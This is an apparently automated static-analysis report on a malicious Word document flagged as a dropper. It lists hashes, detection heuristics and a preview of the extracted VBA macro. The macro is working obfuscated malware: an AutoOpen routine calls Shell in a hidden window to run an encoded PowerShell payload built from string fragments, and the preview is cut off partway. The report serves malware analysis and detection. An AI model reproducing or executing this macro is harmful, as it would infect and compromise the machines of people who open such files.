Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42bfe71c115d0077…

MALICIOUS

Office (OLE)

89.8 KB Created: 2018-06-01 08:53:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: bd14be674405a7b895f470ec4fdbc717 SHA-1: 43ccfbfd0b5ec4798fc4c2c26bfa9eb636bb653a SHA-256: 42bfe71c115d00774d14eeb40236a3ad1e22d19d2b747838faca2f394ace85f2
242 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6568113-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6568113-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10313 bytes
SHA-256: e99d9df43adc5036070c77a9d7f042d2b12ae4b13aad33670e102c6f1b58947a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TYnQjlOFSoE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function qCHtznqwaWX()
On Error Resume Next
qKIXCX = 15075 + Log(65690) - Ukwad / Atn(35909) / akGjF / VQNYo
miIDDL = CSng(38432 * CInt(74338) + 18665 - 74314)
bbAjiv = 79004 + Log(68400) - sqhtk / Atn(65356) / ppsKii / wpMhvO
jEoJi = CSng(15980 * CInt(9274) + 37921 - 74822)
qCHtznqwaWX = slqtcfJls + Shell(BVidaZSh + Chr(vbKeyP) + UoEdzMcBLl + iCwTk + ofNnY + CCEPIolX + jjWDFwJwSEi, PLVTX + vbHide + hcdJRZ)
Yoanw = 1642 + Log(29548) - ViiwR / Atn(54315) / tzErWN / UEMltj
ZcWCX = CSng(73332 * CInt(79558) + 14479 - 78539)
End Function
Sub Autoopen()
On Error Resume Next
owOaj = 59432 + Log(67377) - LMlJAb / Atn(32354) / iTVaK / fNvCI
uqHlKE = CSng(6838 * CInt(48762) + 98960 - 37084)
qCHtznqwaWX
ZdwhXT = 31769 + Log(53642) - lPHVlO / Atn(80093) / RAihWo / VEAwvY
HLivzL = CSng(50905 * CInt(14674) + 88867 - 59442)
End Sub


Attribute VB_Name = "OIiimAwOXIw"
Function UoEdzMcBLl()
On Error Resume Next
FwjniG = 75769 + Log(59161) - ANiAm / Atn(14703) / uoBZrN / Yvzpc
QKoVd = CSng(42462 * CInt(63964) + 28886 - 66225)
DAYJfIkNwc = "owersHe" + "LL " + "-e KABuA" + "GUAdw"
mkRLs = 689 + Log(71122) - awHjKN / Atn(12134) / sjHriR / KoqZM
QaTMP = CSng(29760 * CInt(78452) + 50520 - 3229)
vRZHMAZrjN = "AtAG8AYg" + "BK" + "AGUAQwBUACAAIAB" + "JAE8ALgB"
YKAOf = 24996 + Log(63270) - aPmdBH / Atn(83121) / VZHXCb / cKWoX
wRQqIj = CSng(62202 * CInt(66798) + 4748 - 60753)
fIXzJTRslj = "DAG8A" + "TQBwAFIARQBzA" + "HMAaQBPAE4AL" + "gBkAGUARgB" + "MAGEAdABFAFMA"
Hqwzkm = 48489 + Log(23377) - auPTi / Atn(42147) / mXEJYJ / bzWmt
KHStJ = CSng(29439 * CInt(23025) + 55115 - 52910)
EFHqbd = "dABSAEUAYQBNACg" + "AWwBJAE8ALgB" + "tAEUAbQBvAFIAWQ" + "BTAHQAcg" + "BFAEEAT" + "QBdAC"
XwcCUE = 3733 + Log(95112) - mntLw / Atn(42195) / wkWzO / joKTbV
PJUKf = CSng(61926 * CInt(24662) + 93107 - 12775)
kmdFEovUm = "AAW" + "wBjAG8AbgBWAGU" + "AcgB0AF" + "0AOgA6AGYAcg" + "BPAE0" + "AYgB"
XwYaHj = 32486 + Log(92139) - XlQbF / Atn(54738) / YQnsBd / owcTjf
JcrAz = CSng(5842 * CInt(80407) + 47263 - 48241)
dbpATjNwKh = "hAFM" + "AZQA2ADQAcwBUA" + "HIASQBuA" + "GcAKAAnAFQAWgBI" + "AG" + "YAYQA5AHMAdwB"
UoEdzMcBLl = DAYJfIkNwc + vRZHMAZrjN + fIXzJTRslj + EFHqbd + kmdFEovUm + dbpATjNwKh
End Function
Function iCwTk()
On Error Resume Next
tXGwY = 97103 + Log(67167) - iBHwJ / Atn(27214) / uQkiiQ / QCOJZa
Znzri = CSng(98554 * CInt(58648) + 43257 - 64885)
TwXlU = "FAE0AZgB" + "mAEIALwAw" + "AGYAUg" + "BEAEMAVgBqAE" + "IAdABwAFQAVw" + "BDAFUAbQBrAEgA" + "YQBoAEkAMA" + "A4AE4ATgAxAHcAU" + "wBwAGUAeQ"
wtFAd = 20029 + Log(25083) - dREnF / Atn(89243) / oLGEjO / IHINH
bOEYi = CSng(39464 * CInt(61455) + 72236 - 22578)
zRwEvTbd = "BCADgAd" + "gB5A" + "HUAWABGA" + "GkAUwA4"
msBqvJ = 4232 + Log(73874) - FztnXS / Atn(96263) / YkzrQ / IrONj
kOIci = CSng(39733 * CInt(23022) + 65677 - 47480)
wGWWDj = "AGEAVwBrA" + "DMAWQBoA" + "C8ALwB2AHUAM" + "ABqAHgAVQA0AFAA" + "UAAzAH" + "AATQA5AHgAdgB3A"
zFWfCH = 63713 + Log(52214) - FkTHAN / Atn(79169) / pswjw / hzroR
CGPcu = CSng(72671 * CInt(85880) + 40912 - 71069)
UKbAjb = "EwAYgA" + "2AFYAe" + "AAzAE8AZg" + "B2A" + "E8ATABn" + "AFcAMwBQAE8ATAB" + "BAEkAOA" + "BIADM" + "AU" + "QA1AGQ"
BKnjb = 39439 + Log(33325) - IOpwW / Atn(79316) / zDjohL / PRdzU
MOVTlo = CSng(83275 * CInt(76096) + 86649 - 30627)
EjPRk = "AdAB" + "5AEQARQA" + "4AGoATABq" + "AG4A" + "SQ" + "BXAHU" + "AM"
NjjjCT = 8389 + Log(69008) - CziJjD / Atn(79773) / vVCbAa / ttVNhz
EnobAb = CSng(72546 * CInt(24845) + 96225 - 49164)
AijVpSDdi = "QB6AFYAMA" + "BkAEI" + "ANgB2AFYARQA3AE" + "kAU"
tpPjM = 75925 + Log(64602) - IsXNSM / Atn(12062) / nJwqCc / tvUEC
ziXcM = CSng(12563 * CInt(71294) + 61293 - 25348)
UEVBGImp = "wBXAFEAVAA1AG" + "4AdQBDA" + "GgAUQA1AFYAd" + "AB5AEQAZQBJA" + "GgAaQB4ADUA" + "NwB6AHoAVQBjAGc" + "ARgBlA" + "FAAawBNADIAc" + "gBVAHEAdwB
... (truncated)

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